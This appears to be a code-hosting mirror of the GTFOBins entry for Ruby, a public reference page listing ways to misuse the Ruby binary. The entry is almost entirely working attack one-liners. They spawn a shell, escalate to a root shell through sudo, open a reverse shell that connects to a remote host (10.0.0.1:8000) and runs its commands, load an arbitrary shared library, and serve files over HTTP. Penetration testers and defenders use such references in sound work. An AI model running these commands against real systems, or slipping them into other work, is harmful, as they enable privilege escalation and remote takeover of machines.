This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-12-14 14:17:14 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
386b467490abd1838ce1ca3535155d7190f30ab5
GTFOBins.github.io
/
_gtfobins
/
ruby.md
Emilio Pinna
b81e57005a
First commit
2018-05-21 20:14:41 +01:00
607 B
Raw
Blame
History
functions
functions
exec-interactive
sudo-enabled
reverse-shell
load-library
upload
code
ruby -e 'exec "/bin/sh"'
code
sudo ruby -e 'exec "/bin/sh"'
code
export RHOST=10.0.0.1 export RPORT=8000 ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
code
ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
description
code
Serve files in the local folder running an HTTP server.
export LPORT=8888 ruby -run -e httpd . -p $LPORT
Reference in New Issue
View Git Blame
Copy Permalink